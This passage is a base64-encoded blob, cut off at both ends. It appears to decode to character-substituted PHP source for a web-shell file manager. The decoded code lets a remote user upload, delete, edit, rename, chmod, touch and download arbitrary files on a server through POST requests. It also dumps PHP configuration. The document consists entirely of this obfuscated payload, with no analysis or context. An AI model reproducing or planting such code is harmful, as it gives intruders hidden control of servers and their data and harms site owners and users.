YpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPXdoNHQ1PicgLiBtMWRQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQoJNWxzNQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNhaWZmMDA+JyAuIG0xZFA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCn0NCg0KNGYoIWYzbmN0NDJuXzV4NHN0cygic2MxbmQ0ciIpKSB7DQoJZjNuY3Q0Mm4gc2MxbmQ0cigkZDRyKSB7DQoJCSRkaCAgPSAycDVuZDRyKCRkNHIpOw0KCQl3aDRsNSAoZjFsczUgIT09ICgkZjRsNW4xbTUgPSByNTFkZDRyKCRkaCkpKQ0KICAgIAkJJGY0bDVzW10gPSAkZjRsNW4xbTU7DQoJCXI1dDNybiAkZjRsNXM7DQoJfQ0KfQ0KDQoNCmYzbmN0NDJuIG0xZEY0bDVzTTFuKCkgew0KCW0xZGg1MWQoKTsNCiAgICA1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pic7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJc3c0dGNoKCRfUE9TVFsncDYnXSkgew0KCQkJYzFzNSAnM3BsMjFkRjRsNSc6DQoJCQkJNGYoIUBtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZiddWyd0bXBfbjFtNSddLCAkX0ZJTEVTWydmJ11bJ24xbTUnXSkpDQoJCQkJCTVjaDIgIkMxbid0IDNwbDIxZCBmNGw1ISI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdta2Q0cic6DQoJCQkJNGYoIUBta2Q0cigkX1BPU1RbJ3BhJ10pKQ0KCQkJCQk1Y2gyICJDMW4ndCBjcjUxdDUgbjV3IGQ0ciI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdkNWw1dDUnOg0KCQkJCWYzbmN0NDJuIGQ1bDV0NUQ0cigkcDF0aCkgew0KCQkJCQkkcDF0aCA9IChzM2JzdHIoJHAxdGgsLTYpPT0nLycpID8gJHAxdGg6JHAxdGguJy8nOw0KCQkJCQkkZGggID0gMnA1bmQ0cigkcDF0aCk7DQoJCQkJCXdoNGw1ICggKCQ0dDVtID0gcjUxZGQ0cigkZGgpICkgIT09IGYxbHM1KSB7DQoJCQkJCQkkNHQ1bSA9ICRwMXRoLiQ0dDVtOw0KCQkJCQkJNGYgKCAoYjFzNW4xbTUoJDR0NW0pID09ICIuLiIpIHx8IChiMXM1bjFtNSgkNHQ1bSkgPT0gIi4iKSApDQoJCQkJCQkJYzJudDRuMzU7DQoJCQkJCQkkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsNCgkJCQkJCTRmICgkdHlwNSA9PSAiZDRyIikNCgkJCQkJCQlkNWw1dDVENHIoJDR0NW0pOw0KCQkJCQkJNWxzNQ0KCQkJCQkJCUAzbmw0bmsoJDR0NW0pOw0KCQkJCQl9DQoJCQkJCWNsMnM1ZDRyKCRkaCk7DQoJCQkJCUBybWQ0cigkcDF0aCk7DQoJCQkJfQ0KCQkJCTRmKDRzX2Q0cihAJF9QT1NUWydwYSddKSkNCgkJCQlkNWw1dDVENHIoQCRfUE9TVFsncGEnXSk7DQoJCQkJNWxzNQ0KCQkJCUAzbmw0bmsoQCRfUE9TVFsncGEnXSk7DQoJCQkJYnI1MWs7DQoJCWQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJCQkJJF9TRVNTSU9OWycxY3QnXSA9IEAkX1BPU1RbJ3A2J107DQoJCQkJCSRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOw0KCQkJCQlmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRrID0+ICRmKQ0KCQkJCQkJJF9TRVNTSU9OWydmJ11bJGtdID0gM3JsZDVjMmQ1KCRmKTsNCgkJCQkJJF9TRVNTSU9OWydjJ10gPSBAJF9QT1NUWydjJ107DQoJCQkJfQ0KCQkJCWJyNTFrOw0KCQl9DQoJfQ0KCSRkNHJDMm50NW50ID0gQHNjMW5kNHIoNHNzNXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQoJNGYoJGQ0ckMybnQ1bnQgPT09IGYxbHM1KSB7CTVjaDIgJzxobz48c3Axbj58ICBBY2M1c3MgRDVuNDVkISB8PC9zcDFuPjwvaG8+PC9kNHY+JzttMWRGMjJ0NXIoKTsgcjV0M3JuOyB9DQoJZ2wyYjFsICRzMnJ0Ow0KCSRzMnJ0ID0gMXJyMXkoJ24xbTUnLCA2KTsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkNCgkJCSRzMnJ0ID0gMXJyMXkoJG0xdGNoWzZdLCAoNG50KSRtMXRjaFthXSk7DQoJfQ0KNWNoMiAiDQo8dDFibDUgdzRkdGg9JzYwMCUnIGNsMXNzPSdtMTRuJyBjNWxsc3AxYzRuZz0nMCcgYzVsbHAxZGQ0bmc9J2EnICA+DQo8ZjJybSBuMW01PWY0bDVzIG01dGgyZD1wMnN0Pjx0cj48dGg+TjFtNTwvdGg+PHRoPlM0ejU8L3RoPjx0aD5NMmQ0Znk8L3RoPjx0aD5Pd241ci9HcjIzcDwvdGg+PHRoPlA1cm00c3M0Mm5zPC90aD48dGg+QWN0NDJuczwvdGg+PC90cj4iOw0KCSRkNHJzID0gJGY0bDVzID0gMXJyMXkoKTsNCgkkbiA9IGMyM250KCRkNHJDMm50NW50KTsNCglmMnIoJDQ9MDskNDwkbjskNCsrKSB7DQoJCSQydyA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSkpOw0KCQkkZ3IgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pKTsNCgkJJHRtcCA9IDFycjF5KCduMW01JyA9PiAkZDRyQzJudDVudFskNF0sDQoJCQkJCSAncDF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSwNCgkJCQkJICdtMmQ0ZnknID0+IEBkMXQ1KCdZLW0tZCBIOjQ6cycsIEBmNGw1bXQ0bTUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSksDQoJCQkJCSAncDVybXMnID0+IG0xZFA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdzNHo1JyA9PiBAZjRsNXM0ejUoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksDQoJCQkJCSAnMnduNXInID0+ICQyd1snbjFtNSddPyQyd1snbjFtNSddOkBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdncjIzcCcgPT4gJGdyWyduMW01J10/JGdyWyduMW01J106QGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pDQoJCQkJCSk7DQoJCTRmKEA0c19mNGw1KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZjRsNXNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZjRsNScpKTsNCgkJNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdsNG5rJywgJ2w0bmsnID0+IHI1MWRsNG5rKCR0bXBbJ3AxdGgnXSkpKTsNCgkJNWxzNTRmKEA0c19kNHIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSYmICgkZDRyQzJudDVudFskNF0gIT0gIi4iKSkNCgkJCSRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Q0cicpKTsNCgl9DQoJJEdMT0JBTFNbJ3MycnQnXSA9ICRzMnJ0Ow0KCWYzbmN0NDJuIHdzMkNtcCgkMSwgJGIpIHsNCgkJNGYoJEdMT0JBTFNbJ3MycnQnXVswXSAhPSAnczR6NScpDQoJCQlyNXQzcm4gc3RyY21wKHN0cnQybDJ3NXIoJDFbJEdMT0JBTFNbJ3MycnQnXVswXV0pLCBzdHJ0MmwydzVyKCRiWyRHTE9CQUxTWydzMnJ0J11bMF1dKSkqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJCTVsczUNCgkJCXI1dDNybiAoKCQxWydzNHo1J10gPCAkYlsnczR6NSddKSA/IC02IDogNikqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJfQ0KCTNzMnJ0KCRmNGw1cywgIndzMkNtcCIpOw0KCTNzMnJ0KCRkNHJzLCAid3MyQ21wIik7DQoJJGY0bDVzID0gMXJyMXlfbTVyZzUoJGQ0cnMsICRmNGw1cyk7DQoJJGwgPSAwOw0KCWYycjUxY2goJGY0bDVzIDFzICRmKSB7DQoJCTVjaDIgJzx0cicuKCRsPycgY2wxc3M9bDYnOicnKS4nPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iJy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/J2coXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd2NDV3XCcpIj4nLmh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSk6J2coXCdGNGw1c00xblwnLFwnJy4kZlsncDF0aCddLidcJyk7IiB0NHRsNT0nIC4gJGZbJ2w0bmsnXSAuICc+PGI+fCAnIC4gaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKSAuICcgfDwvYj4nKS4nPC8xPjwvdGQ+PHRkPicuKCgkZlsndHlwNSddPT0nZjRsNScpP20xZFM0ejUoJGZbJ3M0ejUnXSk6JGZbJ3R5cDUnXSkuJzwvdGQ+PHRkPicuJGZbJ20yZDRmeSddLic8L3RkPjx0ZD4nLiRmWycyd241ciddLicvJy4kZlsnZ3IyM3AnXS4nPC90ZD48dGQ+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJyxcJ2NobTJkXCcpIj4nLiRmWydwNXJtcyddDQoJCQkuJzwvdGQ+PHRkPjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdyNW4xbTVcJykiPlI8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd0MjNjaFwnKSI+VDwvMT4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCc1ZDR0XCcpIj5FPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnZDJ3bmwyMWRcJykiPkQ8LzE+JzonJykuJzwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLG4zbGwsXCdkNWw1dDVcJywgXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcpIj4gWCA8LzE+PC90ZD48L3RyPic7DQoJCSRsID0gJGw/MDo2Ow0KCX0NCgk1Y2gyICI8dHI+PHRkIGMybHNwMW49Nz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSdGNGw1c00xbic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIi4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykuIic+DQoJPC9mMnJtPjwvdDFibDU+PC9kNHY+IjsNCg0KCQ0KICAgIG0xZGYyMnQ1cigpOw0KIH0NCiAgICANCiAgZjNuY3Q0Mm4gbTFkRjRsNXNUMjJscygpIHsNCgk0ZiggNHNzNXQoJF9QT1NUWydwNiddKSApDQoJCSRfUE9TVFsncDYnXSA9IDNybGQ1YzJkNSgkX1BPU1RbJ3A2J10pOw0KCTRmKEAkX1BPU1RbJ3BhJ109PSdkMndubDIxZCcpIHsNCgkJNGYoQDRzX2Y0bDUoJF9QT1NUWydwNiddKSAmJiBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSkgew0KCQkJMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpOw0KCQkJaDUxZDVyKCJDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT0iLmIxczVuMW01KCRfUE9TVFsncDYnXSkpOw0KCQkJNGYgKGYzbmN0NDJuXzV4NHN0cygibTRtNV9jMm50NW50X3R5cDUiKSkgew0KCQkJCSR0eXA1ID0gQG00bTVfYzJudDVudF90eXA1KCRfUE9TVFsncDYnXSk7DQoJCQkJaDUxZDVyKCJDMm50NW50LVR5cDU6ICIgLiAkdHlwNSk7DQoJCQl9IDVsczUNCiAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtIik7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAiciIpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoIUBmNTJmKCRmcCkpDQoJCQkJCTVjaDIgQGZyNTFkKCRmcCwgNjBhdSk7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX01eDR0Ow0KCX0NCgk0ZiggQCRfUE9TVFsncGEnXSA9PSAnbWtmNGw1JyApIHsNCgkJNGYoIWY0bDVfNXg0c3RzKCRfUE9TVFsncDYnXSkpIHsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICd3Jyk7DQoJCQk0ZigkZnApIHsNCgkJCQkkX1BPU1RbJ3BhJ10gPSAiNWQ0dCI7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX0NCgl9DQoJDQogICBtMWRoNTFkKCk7DQoJNWNoMiAnPGQ0diBjbDFzcz1oNTFkNXI+JzsNCgk0ZiggIWY0bDVfNXg0c3RzKEAkX1BPU1RbJ3A2J10pICkgew0KCQk1Y2gyICI8cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPkZJTEUgRE9FU1QgTk9UIEVYSVRTIDwvcHI1PjwvZDR2PiI7DQoJCW0xZEYyMnQ1cigpOw0KCQlyNXQzcm47DQoJfQ0KCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkX1BPU1RbJ3A2J10pKTsNCgk0ZighJDM0ZCkgew0KCQkkMzRkWyduMW01J10gPSBAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSk7DQoJCSRnNGRbJ24xbTUnXSA9IEBmNGw1Z3IyM3AoJF9QT1NUWydwNiddKTsNCgl9IDVsczUgJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSkpOw0KCTVjaDIgJzxzcDFuPk4xbTU6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoQGIxczVuMW01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+UzR6NTo8L3NwMW4+ICcuKDRzX2Y0bDUoJF9QT1NUWydwNiddKT9tMWRTNHo1KGY0bDVzNHo1KCRfUE9TVFsncDYnXSkpOictJykuJyA8c3Axbj5QNXJtNHNzNDJuOjwvc3Axbj4gJy5tMWRQNXJtc0MybDJyKCRfUE9TVFsncDYnXSkuJyA8c3Axbj5Pd241ci9HcjIzcDo8L3NwMW4+ICcuJDM0ZFsnbjFtNSddLicvJy4kZzRkWyduMW01J10uJzxicj4nOw0KCTVjaDIgJzxicj4nOw0KCTRmKCA1bXB0eSgkX1BPU1RbJ3BhJ10pICkNCgkJJF9QT1NUWydwYSddID0gJ3Y0NXcnOw0KCTRmKCA0c19mNGw1KCRfUE9TVFsncDYnXSkgKQ0KCQkkbSA9IDFycjF5KCdWNDV3JywgJ0g0Z2hsNGdodCcsICdEMndubDIxZCcsICdFZDR0JywgJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KCTVsczUNCgkJJG0gPSAxcnIxeSgnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7DQoJZjJyNTFjaCgkbSAxcyAkdikNCgkJNWNoMiAnPDEgIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnJy5zdHJ0MmwydzVyKCR2KS4nXCcpIj48c3Axbj4nLigoc3RydDJsMnc1cigkdik9PUAkX1BPU1RbJ3BhJ10pPyc8Yj48c3Axbj4gJy4kdi4nIDwvc3Axbj4gPC9iPic6JHYpLicgPC9zcDFuPjwvMT4gJzsNCgk1Y2gyICc8YnI+PGJyPic7DQoJc3c0dGNoKCRfUE9TVFsncGEnXSkgew0KCQljMXM1ICd2NDV3JzoNCgkJCTVjaDIgJzxwcjUgY2wxc3M9bWw2Pic7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoICFAZjUyZigkZnApICkNCgkJCQkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCgkJCQlAZmNsMnM1KCRmcCk7DQoJCQl9DQoJCQk1Y2gyICc8L3ByNT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ2g0Z2hsNGdodCc6DQoJCQk0ZiggQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkgKSB7DQoJCQkJNWNoMiAnPGQ0diBjbDFzcz1tbDYgc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6ICM1NjU2NTY7YzJsMnI6YmwxY2s7Ij4nOw0KCQkJCSRjMmQ1ID0gQGg0Z2hsNGdodF9mNGw1KCRfUE9TVFsncDYnXSx0cjM1KTsNCgkJCQk1Y2gyIHN0cl9yNXBsMWM1KDFycjF5KCc8c3AxbiAnLCc8L3NwMW4+JyksIDFycjF5KCc8ZjJudCAnLCc8L2YybnQ+JyksJGMyZDUpLic8L2Q0dj4nOw0KCQkJfQ0KCQkJYnI1MWs7DQoJCWMxczUgJ2NobTJkJzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkcDVybXMgPSAwOw0KCQkJCWYycigkND1zdHJsNW4oJF9QT1NUWydwbyddKS02OyQ0Pj0wOy0tJDQpDQoJCQkJCSRwNXJtcyArPSAoNG50KSRfUE9TVFsncG8nXVskNF0qcDJ3KDgsIChzdHJsNW4oJF9QT1NUWydwbyddKS0kNC02KSk7DQoJCQkJNGYoIUBjaG0yZCgkX1BPU1RbJ3A2J10sICRwNXJtcykpDQoJCQkJCTVjaDIgJ0MxblwndCBzNXQgcDVybTRzczQybnMhPGJyPjxzY3I0cHQ+ZDJjM201bnQubWYucG8udjFsMzU9IiI7PC9zY3I0cHQ+JzsNCgkJCX0NCgkJCWNsNTFyc3QxdGMxY2g1KCk7DQoJCQk1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMuY2htMmQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1jaG0yZCB2MWwzNT0iJy5zM2JzdHIoc3ByNG50ZignJTInLCBmNGw1cDVybXMoJF9QT1NUWydwNiddKSksLXUpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJzVkNHQnOg0KCQkJNGYoICE0c193cjR0MWJsNSgkX1BPU1RbJ3A2J10pKSB7DQoJCQkJNWNoMiAnRjRsNSA0c25cJ3Qgd3I0dDUxYmw1JzsNCgkJCQlicjUxazsNCgkJCX0NCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkdDRtNSA9IEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKTsNCgkJCQkkX1BPU1RbJ3BvJ10gPSBzM2JzdHIoJF9QT1NUWydwbyddLDYpOw0KCQkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sInciKTsNCgkJCQk0ZigkZnApIHsNCgkJCQkJQGZ3cjR0NSgkZnAsJF9QT1NUWydwbyddKTsNCgkJCQkJQGZjbDJzNSgkZnApOw0KCQkJCQk1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+JzsNCgkJCQkJQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSk7DQoJCQkJfQ0KCQkJfQ0KCQkJNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxcJzZcJyt0aDRzLnQ1eHQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PXQ1eHQgY2wxc3M9YjRnMXI1MT4nOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCAhQGY1MmYoJGZwKSApDQoJCQkJCTVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQoJCQkJQGZjbDJzNSgkZnApOw0KCQkJfQ0KCQkJNWNoMiAnPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdoNXhkM21wJzoNCgkJCSRjID0gQGY0bDVfZzV0X2MybnQ1bnRzKCRfUE9TVFsncDYnXSk7DQoJCQkkbiA9IDA7DQoJCQkkaCA9IDFycjF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCgkJCSRsNW4gPSBzdHJsNW4oJGMpOw0KCQkJZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7DQoJCQkJJGhbNl0gLj0gc3ByNG50ZignJTBhWCcsMnJkKCRjWyQ0XSkpLicgJzsNCgkJCQlzdzR0Y2ggKCAycmQoJGNbJDRdKSApIHsNCgkJCQkJYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA5OiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2MDogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJZDVmMTNsdDogJGhbYV0gLj0gJGNbJDRdOyBicjUxazsNCgkJCQl9DQoJCQkJJG4rKzsNCgkJCQk0ZiAoJG4gPT0gb2EpIHsNCgkJCQkJJG4gPSAwOw0KCQkJCQk0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fQ0KCQkJCQkkaFs2XSAuPSAnPGJyPic7DQoJCQkJCSRoW2FdIC49ICJcbiI7DQoJCQkJfQ0KCQkgCX0NCgkJCTVjaDIgJzx0MWJsNSBjNWxsc3AxYzRuZz02IGM1bGxwMWRkNG5nPWkgYmdjMmwycj1ibDFjaz48dHI+PHRkIGJnYzJsMnI9Z3IxeT48c3AxbiBzdHlsNT0iZjJudC13NTRnaHQ6IG4ycm0xbDsiPjxwcjU+Jy4kaFswXS4nPC9wcjU+PC9zcDFuPjwvdGQ+PHRkIGJnYzJsMnI9I2E4YThhOD48cHI1PicuJGhbNl0uJzwvcHI1PjwvdGQ+PHRkIGJnYzJsMnI9I29vb29vbz48cHI1PicuaHRtbHNwNWM0MWxjaDFycygkaFthXSkuJzwvcHI1PjwvdGQ+PC90cj48L3QxYmw1Pic7DQoJCQlicjUxazsNCgkJYzFzNSAncjVuMW01JzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQk0ZighQHI1bjFtNSgkX1BPU1RbJ3A2J10sICRfUE9TVFsncG8nXSkpDQoJCQkJCTVjaDIgJ0MxblwndCByNW4xbTUhPGJyPic7DQoJCQkJNWxzNQ0KCQkJCQlkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsNCgkJCX0NCgkJCTVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy5uMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9bjFtNSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAndDIzY2gnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCSR0NG01ID0gc3RydDJ0NG01KCRfUE9TVFsncG8nXSk7DQoJCQkJNGYoJHQ0bTUpIHsNCgkJCQkJNGYoIXQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSkpDQoJCQkJCQk1Y2gyICdGMTRsISc7DQoJCQkJCTVsczUNCgkJCQkJCTVjaDIgJ1QyM2NoNWQhJzsNCgkJCQl9IDVsczUgNWNoMiAnQjFkIHQ0bTUgZjJybTF0ISc7DQoJCQl9DQoJCQljbDUxcnN0MXRjMWNoNSgpOw0KCQkJNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnQyM2NoLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9dDIzY2ggdjFsMzU9IicuZDF0NSgiWS1tLWQgSDo0OnMiLCBAZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJbTFkRjIydDVyKCk7DQp9ICANCg0KZjNuY3Q0Mm4gbTFkcGhwNXYxbCgpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIA0KICAgIDRmKDRzczV0KCRfUE9TVFsncGEnXSkgJiYgKCRfUE9TVFsncGEnXSA9PSAnNG40JykpIHsNCgkJNWNoMiAnPGQ0diBjbDFzcz1oNTFkNXI+JzsNCgkJMmJfc3QxcnQoKTsNCgkJJElOST00bjRfZzV0XzFsbCgpOyANCnByNG50ICc8dDFibDUgYjJyZDVyPTA+PHRyPicNCgkuJzx0ZCBjbDFzcz0ibDRzdDRuZyI+PGYybnQgY2wxc3M9Img0Z2hsNGdodF90eHQiPlAxcjFtPC90ZD4nDQoJLic8dGQgY2wxc3M9Imw0c3Q0bmciPjxmMm50IGNsMXNzPSJoNGdobDRnaHRfdHh0Ij5HbDJiMWwgdjFsMzU8L3RkPicNCgkuJzx0ZCBjbDFzcz0ibDRzdDRuZyI+PGYybnQgY2wxc3M9Img0Z2hsNGdodF90eHQiPkwyYzFsIFYxbDM1PC90ZD4nDQoJLic8dGQgY2wxc3M9Imw0c3Q0bmciPjxmMm50IGNsMXNzPSJoNGdobDRnaHRfdHh0Ij5BY2M1c3M8L3RkPjwvdHI+JzsNCmYycjUxY2ggKCRJTkkgMXMgJHAxcjFtID0+ICR2MWwzNXMpIA0KCXByNG50ICJcbiIuJzx0cj4nDQoJCS4nPHRkIGNsMXNzPSJsNHN0NG5nIj48Yj4nLiRwMXIxbS4nPC90ZD4nDQoJCS4nPHRkIGNsMXNzPSJsNHN0NG5nIj4nLiR2MWwzNXNbJ2dsMmIxbF92MWwzNSddLicgPC90ZD4nDQoJCS4nPHRkIGNsMXNzPSJsNHN0NG5nIj4nLiR2MWwzNXNbJ2wyYzFsX3YxbDM1J10uJyA8L3RkPicNCgkJLic8dGQgY2wxc3M9Imw0c3Q0bmciPicuJHYxbDM1c1snMWNjNXNzJ10uJyA8L3RkPjwvdHI+JzsNCgkJJHRtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBs